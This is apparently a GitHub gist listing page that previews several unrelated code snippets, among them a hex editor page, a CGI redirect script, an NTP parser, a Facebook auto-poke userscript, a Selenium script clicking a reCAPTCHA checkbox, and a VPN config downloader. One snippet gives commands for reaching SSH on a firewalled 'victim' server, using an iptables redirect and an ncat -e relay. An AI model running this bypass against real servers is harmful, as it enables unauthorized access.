This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<!DOCTYPE html> | |
<html> | |
<head> | |
<meta http-equiv="content-type" content="text/html; charset=utf-8" /> | |
<meta name="viewport" content="width=device-width, initial-scale=1"/> | |
<link rel="stylesheet" href="style.css" type="text/css" media="all" charset="utf-8"> | |
<script src="script.js" type="text/javascript"></script> | |
<title>Hex editor</title> | |
</head> | |
<body> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/sh | |
cat << EOF | |
Status: 302 Temporary Redirect | |
Location: /cgi-bin/auth | |
Cache-Control: no-cache | |
<!doctype html> | |
<html> | |
<head> |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
var start = undefined; | |
var THRESHOLD = 6 * 1000; | |
var imgSrc = 'data:image/png;base64,/9j/4AAQSkZJRgABAQAAAQABAAD/2wBDAAgGBgcGBQgHBwcJCQgKDBQNDAsLDBkSEw8UHRofHh0aHBwgJC4nICIsIxwcKDcpLDAxNDQ0Hyc5PTgyPC4zNDL/2wBDAQkJCQwLDBgNDRgyIRwhMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjL/wAARCAJABAADASIAAhEBAxEB/8QAHwAAAQUBAQEBAQEAAAAAAAAAAAECAwQFBgcICQoL/8QAtRAAAgEDAwIEAwUFBAQAAAF9AQIDAAQRBRIhMUEGE1FhByJxFDKBkaEII0KxwRVS0fAkM2JyggkKFhcYGRolJicoKSo0NTY3ODk6Q0RFRkdISUpTVFVWV1hZWmNkZWZnaGlqc3R1dnd4eXqDhIWGh4iJipKTlJWWl5iZmqKjpKWmp6ipqrKztLW2t7i5usLDxMXGx8jJytLT1NXW19jZ2uHi4+Tl5ufo6erx8vP09fb3+Pn6/8QAHwEAAwEBAQEBAQEBAQAAAAAAAAECAwQFBgcICQoL/8QAtREAAgECBAQDBAcFBAQAAQJ3AAECAxEEBSExBhJBUQdhcRMiMoEIFEKRobHBCSMzUvAVYnLRChYkNOEl8RcYGRomJygpKjU2Nzg5OkNERUZHSElKU1RVVldYWVpjZGVmZ2hpanN0dXZ3eHl6goOEhYaHiImKkpOUlZaXmJmaoqOkpaanqKmqsrO0tba3uLm6wsPExcbHyMnK0tPU1dbX2Nna4uPk5ebn6Onq8vP09fb3+Pn6/9oADAMBAAIRAxEAPwD5/ooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigAooooAKKKKACiiigBdx6Z4oDHsTSUuadwHBierHFWIm |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Victim is a web server that is protected by external firewall. 80 port is opened and 22 (ssh) port is filtered. | |
# You cannot connect ssh into the server in this situation. But if you can run a single command (maybe web vulnerablity), | |
# You can get into the server. | |
victim $ iptables -t nat -A PREROUTING -p tcp --dport 80 --sport 31337 -j DNAT --to :22 | |
attacker $ ncat -e "/bin/nc <victim> 80 -p 31337" -l 2222 | |
attacker $ ssh -p 2222 localhost | |
# Or use iptables |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import sys | |
from contextlib import closing | |
from StringIO import StringIO | |
def run(code): | |
with closing(StringIO()) as sout, closing(StringIO()) as serr: | |
sys.stdout = sout | |
sys.stderr = serr | |
exec code in {'__builtins__': {}}, {} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// ==UserScript== | |
// @name Facebook autopoke | |
// @namespace Kjwon15 | |
// @description Facebook auto revenge poke | |
// @include http://*.facebook.com/pokes* | |
// @include https://*.facebook.com/pokes* | |
// ==/UserScript== | |
auto_poke=function(){ | |
var poked=false; |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from __future__ import print_function | |
import datetime | |
import re | |
import sys | |
import requests | |
from libearth.repository import from_url | |
from libearth.session import Session | |
from libearth.stage import Stage |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import datetime | |
import socket | |
import struct | |
packet_format = ( | |
'!BBBB' # LI+VN+Mode, Stratum, Poll, Precision | |
'L' # Root delay | |
'L' # Root dispersion | |
'L' # Reference identifier | |
) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import time | |
from selenium import webdriver | |
driver = webdriver.Firefox() | |
driver.get('https://www.google.com/recaptcha/api2/demo') | |
captcha_frame = driver.find_element_by_css_selector('iframe[src*="api2/anchor"]') | |
driver.switch_to_frame(captcha_frame) | |
driver.find_element_by_css_selector('.recaptcha-checkbox-checkmark').click() |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
vpn_lists=$(curl http://www.vpngate.net/api/iphone/ | awk -F',' '{if ($7 == "KR") print $1, $15}') | |
echo "${vpn_lists}" | while read line; do | |
hostname=${line%% *} | |
config=${line##* } | |
echo $config | base64 -di > ${hostname}.ovpn | |
done |